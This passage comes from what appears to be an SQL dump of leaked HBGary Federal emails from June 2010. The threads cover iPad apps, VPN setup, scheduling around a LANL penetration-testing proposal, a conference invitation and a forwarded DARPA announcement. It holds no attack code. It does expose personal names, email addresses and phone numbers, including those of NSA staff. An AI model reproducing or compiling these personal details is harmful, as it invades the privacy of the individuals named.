Barr  wrote:\r\n>>\r\n>>> I would add:\r\n>>> Popplet\r\n>>> Pandora\r\n>>> Todo\r\n>>> Newsrack\r\n>>> Twitterrific\r\n>>> RealRacingHD\r\n>>>\r\n>>> On Jun 11, 2010, at 10:32 PM, Ted Vera wro\r\n>>>\r\n>>>> Here\'s my short must-have app list:\r\n>>>>\r\n>>>> Bento - database app\r\n>>>> ABC player\r\n>>>> Netflix\r\n>>>> Webex\r\n>>>> Zinio\r\n>>>> Pandora\r\n>>>> DocsToGo - view, edit and create Google Docs\r\n>>>> GotoMeeting\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n',7482,'aaron_hbgary_com/7482.html'),(7324,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005335.M61762P14101Q2177.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: IPad Apps','Ok, that\'s the second time you recommended popplet, I\'m downloading\r\nthe free lite version now.\r\n\r\nOn Jun 11, 2010, at 8:40 PM, Aaron Barr  wrote:\r\n\r\n> I would add:\r\n> Popplet\r\n> Pandora\r\n> Todo\r\n> Newsrack\r\n> Twitterrific\r\n> RealRacingHD\r\n>\r\n> On Jun 11, 2010, at 10:32 PM, Ted Vera wrote:\r\n>\r\n>> Here\'s my short must-have app list:\r\n>>\r\n>> Bento - database app\r\n>> ABC player\r\n>> Netflix\r\n>> Webex\r\n>> Zinio\r\n>> Pandora\r\n>> DocsToGo - view, edit and create Google Docs\r\n>> GotoMeeting\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',16752,'aaron_hbgary_com/16752.html'),(7325,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005335.M708300P14101Q2180.eml','\"Ted Vera\" <ted@hbgary.com>','Re: IPad Apps','you must be doing something wrong.\r\n\r\nOn Jun 11, 2010, at 10:54 PM, Ted Vera wrote:\r\n\r\n> Popplet crashes every time I try to insert an image..\r\n> \r\n> On Jun 11, 2010, at 8:52 PM, Greg Hoglund  wrote:\r\n> \r\n>> Playing with iPad....\r\n>> \r\n>> \r\n>> On Friday, June 11, 2010, Ted Vera  wrote:\r\n>>> Ok, that\'s the second time you recommended popplet, I\'m downloading\r\n>>> the free lite version now.\r\n>>> \r\n>>> On Jun 11, 2010, at 8:40 PM, Aaron Barr  wrote:\r\n>>> \r\n>>>> I would add:\r\n>>>> Popplet\r\n>>>> Pandora\r\n>>>> Todo\r\n>>>> Newsrack\r\n>>>> Twitterrific\r\n>>>> RealRacingHD\r\n>>>> \r\n>>>> On Jun 11, 2010, at 10:32 PM, Ted Vera wro\r\n>>>> \r\n>>>>> Here\'s my short must-have app list:\r\n>>>>> \r\n>>>>> Bento - database app\r\n>>>>> ABC player\r\n>>>>> Netflix\r\n>>>>> Webex\r\n>>>>> Zinio\r\n>>>>> Pandora\r\n>>>>> DocsToGo - view, edit and create Google Docs\r\n>>>>> GotoMeeting\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14177,'aaron_hbgary_com/14177.html'),(7326,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005335.M929708P14101Q2181.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','TMC','Mark,\r\n\r\nGreg wants you and i to come to Sacramento to get a copy of the TMC\r\nghosted and walk us through it so we can set it up in COS, and we are\r\nalso going to set up VPN between the sites. Not sure on timelines yet,\r\nbut I expect soon after I\'m back in CO.\r\n\r\nI looked at the test cases and think they look great. Have you sent\r\nthem to Greg or John for review or comments?  Aaron have you checked\r\nthem out?\r\n\r\nTed\r\n',11284,'aaron_hbgary_com/11284.html'),(7327,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005336.M144892P14101Q2182.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: IPad Apps','I rebooted and its working fine now.\r\n\r\nOn Jun 11, 2010, at 8:55 PM, Aaron Barr  wrote:\r\n\r\n> you must be doing something wrong.\r\n>\r\n> On Jun 11, 2010, at 10:54 PM, Ted Vera wrote:\r\n>\r\n>> Popplet crashes every time I try to insert an image..\r\n>>\r\n>> On Jun 11, 2010, at 8:52 PM, Greg Hoglund  wrote:\r\n>>\r\n>>> Playing with iPad....\r\n>>>\r\n>>>\r\n>>> On Friday, June 11, 2010, Ted Vera  wrote:\r\n>>>> Ok, that\'s the second time you recommended popplet, I\'m downloading\r\n>>>> the free lite version now.\r\n>>>>\r\n>>>> On Jun 11, 2010, at 8:40 PM, Aaron Barr  wrote:\r\n>>>>\r\n>>>>> I would add:\r\n>>>>> Popplet\r\n>>>>> Pandora\r\n>>>>> Todo\r\n>>>>> Newsrack\r\n>>>>> Twitterrific\r\n>>>>> RealRacingHD\r\n>>>>>\r\n>>>>> On Jun 11, 2010, at 10:32 PM, Ted Vera wro\r\n>>>>>\r\n>>>>>> Here\'s my short must-have app list:\r\n>>>>>>\r\n>>>>>> Bento - database app\r\n>>>>>> ABC player\r\n>>>>>> Netflix\r\n>>>>>> Webex\r\n>>>>>> Zinio\r\n>>>>>> Pandora\r\n>>>>>> DocsToGo - view, edit and create Google Docs\r\n>>>>>> GotoMeeting\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',5952,'aaron_hbgary_com/5952.html'),(7328,'2010-06-12','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005336.M357760P14101Q2183.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL','your call\r\n\r\n\r\nOn Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n\r\nHey ira,\r\n\r\nSorry it\'s late.  Do you wante to give you a call this weekend or\r\nMonday?\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n\r\n> Aaron --\r\n> \r\n> Per my voicemail, we would like your input on the pieces highlighted\r\n> in yellow in the attached doc.  Also, give me a shout to catch up\r\n> about my conversation with the client.\r\n> \r\n> - ira\r\n> \r\n> \r\n> \r\n> \r\n\r\n',10679,'aaron_hbgary_com/10679.html'),(7329,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005336.M735832P14101Q2184.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','VPN','My VPN Acct works now thanks Mark. I tested from laptop iPhone and\r\nipad all good to go.\r\n\r\nAaron have you tried it yet?\r\n',14944,'aaron_hbgary_com/14944.html'),(7330,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005336.M955339P14101Q2185.eml','\"Ted Vera\" <ted@hbgary.com>','Re: VPN','I haven\'t I will try it.\r\n\r\nCan you do a call with Ira tomorrow?\r\n\r\nOn Jun 11, 2010, at 11:20 PM, Ted Vera wrote:\r\n\r\n> My VPN Acct works now thanks Mark. I tested from laptop iPhone and\r\n> ipad all good to go.\r\n> \r\n> Aaron have you tried it yet?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7317,'aaron_hbgary_com/7317.html'),(7331,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005337.M163763P14101Q2186.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: VPN','Sure what time and for how long? We are \"moving\" into the timeshare\r\ntomorrow around lunch time.\r\n\r\nTed\r\n\r\nOn Jun 11, 2010, at 11:22 PM, Aaron Barr  wrote:\r\n\r\n> I haven\'t I will try it.\r\n>\r\n> Can you do a call with Ira tomorrow?\r\n>\r\n> On Jun 11, 2010, at 11:20 PM, Ted Vera wrote:\r\n>\r\n>> My VPN Acct works now thanks Mark. I tested from laptop iPhone and\r\n>> ipad all good to go.\r\n>>\r\n>> Aaron have you tried it yet?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',9564,'aaron_hbgary_com/9564.html'),(7332,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005337.M402753P14101Q2187.eml','\"Ted Vera\" <ted@hbgary.com>','Re: VPN','what is my username and password again?\r\n\r\nOn Jun 11, 2010, at 11:24 PM, Ted Vera wrote:\r\n\r\n> Sure what time and for how long? We are \"moving\" into the timeshare\r\n> tomorrow around lunch time.\r\n> \r\n> Ted\r\n> \r\n> On Jun 11, 2010, at 11:22 PM, Aaron Barr  wrote:\r\n> \r\n>> I haven\'t I will try it.\r\n>> \r\n>> Can you do a call with Ira tomorrow?\r\n>> \r\n>> On Jun 11, 2010, at 11:20 PM, Ted Vera wrote:\r\n>> \r\n>>> My VPN Acct works now thanks Mark. I tested from laptop iPhone and\r\n>>> ipad all good to go.\r\n>>> \r\n>>> Aaron have you tried it yet?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8722,'aaron_hbgary_com/8722.html'),(7333,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005337.M613255P14101Q2188.eml','\"Ted Vera\" <ted@hbgary.com>','Re: VPN','what app did u use to connect?\r\n\r\nOn Jun 11, 2010, at 11:24 PM, Ted Vera wrote:\r\n\r\n> Sure what time and for how long? We are \"moving\" into the timeshare\r\n> tomorrow around lunch time.\r\n> \r\n> Ted\r\n> \r\n> On Jun 11, 2010, at 11:22 PM, Aaron Barr  wrote:\r\n> \r\n>> I haven\'t I will try it.\r\n>> \r\n>> Can you do a call with Ira tomorrow?\r\n>> \r\n>> On Jun 11, 2010, at 11:20 PM, Ted Vera wrote:\r\n>> \r\n>>> My VPN Acct works now thanks Mark. I tested from laptop iPhone and\r\n>>> ipad all good to go.\r\n>>> \r\n>>> Aaron have you tried it yet?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3428,'aaron_hbgary_com/3428.html'),(7334,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005337.M857527P14101Q2189.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: LANL','ok how about tomorrow 10am or 2pm?\r\nAaron\r\n\r\nOn Jun 11, 2010, at 11:18 PM, Ira Entis wrote:\r\n\r\n> your call\r\n> \r\n> \r\n> On Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n> \r\n> Hey ira,\r\n> \r\n> Sorry it\'s late.  Do you wante to give you a call this weekend or\r\n> Monday?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n> \r\n>> Aaron --\r\n>> \r\n>> Per my voicemail, we would like your input on the pieces highlighted\r\n>> in yellow in the attached doc.  Also, give me a shout to catch up\r\n>> about my conversation with the client.\r\n>> \r\n>> - ira\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13908,'aaron_hbgary_com/13908.html'),(7335,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005338.M152937P14101Q2190.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: VPN','Dunno. Mark said he emailed it to you.\r\n\r\nOn Jun 11, 2010, at 11:40 PM, Aaron Barr  wrote:\r\n\r\n> what is my username and password again?\r\n>\r\n> On Jun 11, 2010, at 11:24 PM, Ted Vera wrote:\r\n>\r\n>> Sure what time and for how long? We are \"moving\" into the timeshare\r\n>> tomorrow around lunch time.\r\n>>\r\n>> Ted\r\n>>\r\n>> On Jun 11, 2010, at 11:22 PM, Aaron Barr  wrote:\r\n>>\r\n>>> I haven\'t I will try it.\r\n>>>\r\n>>> Can you do a call with Ira tomorrow?\r\n>>>\r\n>>> On Jun 11, 2010, at 11:20 PM, Ted Vera wrote:\r\n>>>\r\n>>>> My VPN Acct works now thanks Mark. I tested from laptop iPhone and\r\n>>>> ipad all good to go.\r\n>>>>\r\n>>>> Aaron have you tried it yet?\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',5737,'aaron_hbgary_com/5737.html'),(7336,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005338.M499946P14101Q2191.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: VPN','No app, its built in. Go to general, network settings, VPN. On both\r\nipad and iPhone. On mac its built in too.\r\n\r\nOn Jun 11, 2010, at 11:40 PM, Aaron Barr  wrote:\r\n\r\n> what app did u use to connect?\r\n>\r\n> On Jun 11, 2010, at 11:24 PM, Ted Vera wrote:\r\n>\r\n>> Sure what time and for how long? We are \"moving\" into the timeshare\r\n>> tomorrow around lunch time.\r\n>>\r\n>> Ted\r\n>>\r\n>> On Jun 11, 2010, at 11:22 PM, Aaron Barr  wrote:\r\n>>\r\n>>> I haven\'t I will try it.\r\n>>>\r\n>>> Can you do a call with Ira tomorrow?\r\n>>>\r\n>>> On Jun 11, 2010, at 11:20 PM, Ted Vera wrote:\r\n>>>\r\n>>>> My VPN Acct works now thanks Mark. I tested from laptop iPhone and\r\n>>>> ipad all good to go.\r\n>>>>\r\n>>>> Aaron have you tried it yet?\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',7494,'aaron_hbgary_com/7494.html'),(7337,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005338.M718982P14101Q2192.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL','10\r\n\r\nOn Jun 11, 2010, at 11:44 PM, Aaron Barr  wrote:\r\n\r\n> ok how about tomorrow 10am or 2pm?\r\n> Aaron\r\n>\r\n> On Jun 11, 2010, at 11:18 PM, Ira Entis wrote:\r\n>\r\n>> your call\r\n>>\r\n>>\r\n>> On Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n>>\r\n>> Hey ira,\r\n>>\r\n>> Sorry it\'s late.  Do you wante to give you a call this weekend or\r\n>> Monday?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n>>\r\n>>> Aaron --\r\n>>>\r\n>>> Per my voicemail, we would like your input on the pieces highlighted\r\n>>> in yellow in the attached doc.  Also, give me a shout to catch up\r\n>>> about my conversation with the client.\r\n>>>\r\n>>> - ira\r\n>>>\r\n>>>\r\n>>> \r\n>>> \r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',14832,'aaron_hbgary_com/14832.html'),(7338,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005339.M554620P14101Q2193.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: LANL','Can you provide input to the highlighted portions?AaronFrom my iPhoneBegin forwarded message:From: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;, Mari Jo Boynton &lt;MariJo.Boynton@agilex.com&gt;\r\nSubject: LANLAaron --Per my voicemail, we would like your input on the pieces highlighted in yellow in the attached doc.  Also, give me a shout to catch up about my conversation with the client.\r\n- ira\r\n',4596,'aaron_hbgary_com/4596.html'),(7339,'2010-06-12','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005339.M802486P14101Q2194.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL','10am pacific (1 eastern) is great for me\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 11:44 PM, Aaron Barr  wrote:\r\n\r\n> ok how about tomorrow 10am or 2pm?\r\n> Aaron\r\n> \r\n> On Jun 11, 2010, at 11:18 PM, Ira Entis wrote:\r\n> \r\n>> your call\r\n>> \r\n>> \r\n>> On Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n>> \r\n>> Hey ira,\r\n>> \r\n>> Sorry it\'s late.  Do you wante to give you a call this weekend or\r\n>> Monday?\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n>> \r\n>>> Aaron --\r\n>>> \r\n>>> Per my voicemail, we would like your input on the pieces highlighted\r\n>>> in yellow in the attached doc.  Also, give me a shout to catch up\r\n>>> about my conversation with the client.\r\n>>> \r\n>>> - ira\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',15743,'aaron_hbgary_com/15743.html'),(7340,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005340.M274305P14101Q2196.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: LANL','Is this a requirement?\r\noAccredited CyberSecurity Professional\r\nThey have it listed next to both personnel. \r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: June 12, 2010 7:44:25 AM EDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Fwd: LANLCan you provide input to the highlighted portions?\r\nAaronFrom my iPhoneBegin forwarded message:From: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;, Mari Jo Boynton &lt;MariJo.Boynton@agilex.com&gt;\r\n\r\nSubject: LANLAaron --Per my voicemail, we would like your input on the pieces highlighted in yellow in the attached doc.  Also, give me a shout to catch up about my conversation with the client.\r\n\r\n- ira\r\n&lt;ATT00001..htm&gt;&lt;LANS Penetration Testing 6 18 10 Technical draft.doc&gt;\r\n',6033,'aaron_hbgary_com/6033.html'),(7341,'2010-06-12','\"Phoebe J. Boelter\" <pboelter@capsllc.net>','/aaron@hbgary.com/new/1297005340.M40756P14101Q2195.eml',',,,','Ice Breaker Recepiton','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear FIRST Conference Attendee,\r\n\r\n&nbsp;\r\n\r\nAs a non member, first time attendee you are cordially\r\ninvited to join members of the FIRST Steering Committee, Program Committee and\r\nthe FIRST Secretariat thirty minutes before the start of the Ice Breaker\r\nReception on Sunday, June 13th.&nbsp; Please join us in the Bayfront\r\nRoom on the lobby level of the hotel at 6:30 pm (18:30).&nbsp; This will be\r\nyour opportunity to find out more about FIRST and ask any questions you may\r\nhave about becoming a FIRST member.\r\n\r\n&nbsp;\r\n\r\nHope to see you there.\r\n\r\n&nbsp;\r\n\r\nPhoebe\r\n\r\n&nbsp;\r\n\r\nPhoebe J. Boelter\r\n\r\nFounder &amp; Senior Conference Coordinator\r\n\r\n.........................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6788\r\n\r\np. 312.372.1255 ext. 111\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\npboelter@capsllc.net\r\n\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3673,'aaron_hbgary_com/3673.html'),(7342,'2010-06-12','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297005342.M4781P14101Q2197.eml','\"Barbour, Garth\" <g.barbou@radium.ncsc.mil>,\"Beltz, Ruth\" <r.beltz@radium.ncsc.mil>,\"William A. Casanova\" <w.casano@radium.ncsc.mil>,\"Jeffrey Arsenault\" <jjarsen@nsa.gov>,\"Jonathan Kaltwasser\" <jckaltw@nsa.gov>,\"Corinne Liddy\" <ccliddy@nsa.gov>,\"Palmer, Sharon\" <s.palmer@radium.ncsc.mil>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Tamika Lee\" <tdlee6@nsa.gov>','REBL 10 Agenda','REBL Speakers,\r\n\r\nAttached is the final agenda for REBL 10 which starts on Tuesday.  Please do\r\nnot distribute this copy.  A hardcopy will be presented to all attendees\r\nduring registration.  This is a courtesy copy to aid you in planning your\r\nday(s) at REBL.\r\n\r\nThank you for your contribution to our REBL Symposium,\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n',12755,'aaron_hbgary_com/12755.html'),(7343,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005342.M576257P14101Q2198.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Heh','I just realized it\'s Saturday. It only took two calls to Mark to\r\nfigure that out, lol.  Have a good weekend!\r\n\r\nTed\r\n',1115,'aaron_hbgary_com/1115.html'),(7344,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005342.M933650P14101Q2199.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: LANL','Missed the time difference.  10am ET would have been pretty early for\r\nyou.  Does 1pm ET work for you tomorrow?\r\n\r\nQuestion? Are certs a requirement?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 12, 2010, at 11:00 AM, Ira Entis  wrote:\r\n\r\n> 10am pacific (1 eastern) is great for me\r\n>\r\n>\r\n>\r\n> On Jun 11, 2010, at 11:44 PM, Aaron Barr  wrote:\r\n>\r\n>> ok how about tomorrow 10am or 2pm?\r\n>> Aaron\r\n>>\r\n>> On Jun 11, 2010, at 11:18 PM, Ira Entis wrote:\r\n>>\r\n>>> your call\r\n>>>\r\n>>>\r\n>>> On Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n>>>\r\n>>> Hey ira,\r\n>>>\r\n>>> Sorry it\'s late.  Do you wante to give you a call this weekend or\r\n>>> Monday?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n>>>\r\n>>>> Aaron --\r\n>>>>\r\n>>>> Per my voicemail, we would like your input on the pieces\r\n>>>> highlighted\r\n>>>> in yellow in the attached doc.  Also, give me a shout to catch up\r\n>>>> about my conversation with the client.\r\n>>>>\r\n>>>> - ira\r\n>>>>\r\n>>>>\r\n>>>> \r\n>>>> \r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',15487,'aaron_hbgary_com/15487.html'),(7345,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005343.M232078P14101Q2200.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Heh','My phone is dead and doesn\'t seem to charge.\r\n\r\nSent from my iPad\r\n\r\nOn Jun 12, 2010, at 3:13 PM, Ted Vera  wrote:\r\n\r\n> I just realized it\'s Saturday. It only took two calls to Mark to\r\n> figure that out, lol.  Have a good weekend!\r\n>\r\n> Ted\r\n',6242,'aaron_hbgary_com/6242.html'),(7346,'2010-06-12','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005343.M531600P14101Q2201.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL','I think so\r\n\r\n\r\n\r\nOn Jun 12, 2010, at 4:37 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Missed the time difference.  10am ET would have been pretty early for\r\n> you.  Does 1pm ET work for you tomorrow?\r\n> \r\n> Question? Are certs a requirement?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Jun 12, 2010, at 11:00 AM, Ira Entis  wrote:\r\n> \r\n>> 10am pacific (1 eastern) is great for me\r\n>> \r\n>> \r\n>> \r\n>> On Jun 11, 2010, at 11:44 PM, Aaron Barr  wrote:\r\n>> \r\n>>> ok how about tomorrow 10am or 2pm?\r\n>>> Aaron\r\n>>> \r\n>>> On Jun 11, 2010, at 11:18 PM, Ira Entis wrote:\r\n>>> \r\n>>>> your call\r\n>>>> \r\n>>>> \r\n>>>> On Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>> Hey ira,\r\n>>>> \r\n>>>> Sorry it\'s late.  Do you wante to give you a call this weekend or\r\n>>>> Monday?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> From my iPhone\r\n>>>> \r\n>>>> On Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n>>>> \r\n>>>>> Aaron --\r\n>>>>> \r\n>>>>> Per my voicemail, we would like your input on the pieces\r\n>>>>> highlighted\r\n>>>>> in yellow in the attached doc.  Also, give me a shout to catch up\r\n>>>>> about my conversation with the client.\r\n>>>>> \r\n>>>>> - ira\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n',9898,'aaron_hbgary_com/9898.html'),(7347,'2010-06-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005343.M756470P14101Q2202.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: IPad Apps','How do you download netflix so you can watch movie on the airplane?\r\n\r\n\r\nSent from my iPad\r\n\r\nOn Jun 11, 2010, at 7:40 PM, Aaron Barr  wrote:\r\n\r\n> I would add:\r\n> Popplet\r\n> Pandora\r\n> Todo\r\n> Newsrack\r\n> Twitterrific\r\n> RealRacingHD\r\n> \r\n> On Jun 11, 2010, at 10:32 PM, Ted Vera wrote:\r\n> \r\n>> Here\'s my short must-have app list:\r\n>> \r\n>> Bento - database app\r\n>> ABC player\r\n>> Netflix\r\n>> Webex\r\n>> Zinio\r\n>> Pandora\r\n>> DocsToGo - view, edit and create Google Docs\r\n>> GotoMeeting\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',5772,'aaron_hbgary_com/5772.html'),(7348,'2010-06-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005344.M19834P14101Q2203.eml','\"John Edwards\" <John.Edwards@agilex.com>,\"John Edwards\" <John.Edwards@agilex.com>,,,','Re: DARPA Safer Broad Agency Announcement','John,Aaron might be interested. &nbsp;We built a very robust message routing system into something called Predator back in 2002-ish. &nbsp;We shelved the project but it might be something. &nbsp;GregSent from my iPadOn Jun 11, 2010, at 1:58 PM, John Edwards &lt;John.Edwards@agilex.com&gt; wrote:Anything here of interest? &nbsp;Just checking.Begin forwarded message:From: Neal Smith &lt;smith@webloq.com&gt;Date: June 7, 2010 5:44:15 PM EDTTo: John Edwards &lt;John.Edwards@agilex.com&gt;Subject: DARPA Safer Broad Agency AnnouncementHi John,&nbsp;This BAA came to my attention last week. I have read through the entire announcement and believe we already have two out of the three elements that are mentioned in the introduction. The first element, preventing an IP address from being black listed, is a real challenge but we may be able to come up with a solution and could use that research project as the basis for the grant.&nbsp; The next two elements we already have in our technology. Under the grant, we could also expand into the other protocols, which is part of the BAA offering.&nbsp;Would Agilex be interested in working with us to attain this grant?&nbsp; I am sure that you have staff that have done projects similar to this and if they are available, we would have approximately 30 days to work on it prior to submittal. Please let me know if this would be of interest and then we can discuss how to proceed.&nbsp;SAFER WARFIGHTER COMMUNICATIONSBroad Agency AnnouncementDARPA-BAA-10-69May 20, 2010Due Date:&nbsp;&nbsp; July 7, 2010&nbsp;Here is the intro………&nbsp;Part Two: Full Text of AnnouncementI. FUNDING OPPORTUNITY DESCRIPTION&nbsp;DARPA is soliciting proposals for innovative research to maintain technological superiority in the area of resilient communications, privacy, and anonymity on the Internet. The proposed research should investigate innovative approaches that enable revolutionary advances in science, devices, or systems. Specifically excluded is research that primarily results in evolutionary improvements to the existing state of practice.&nbsp;IntroductionThe goal of the Safer Warfighter Communications (SAFER) program is to develop technology that will enable safe, resilient communications over the Internet, particularly in situations in which a third-party is attempting to discover the identity or location of the end users, or block the communication. The technology developed in the program will also provide the quality of service (QoS) required to support applications such as instant messaging, electronic mail, social networking, streaming video, voice over Internet protocol (VoIP), video conferencing, and other media that promote effective communication.&nbsp;The SAFER program addresses the resilience of information distribution and access on the Internet, including any and all technologies that allow anonymous Internet communications to bypass techniques that suppress, localize, and/or corrupt information such 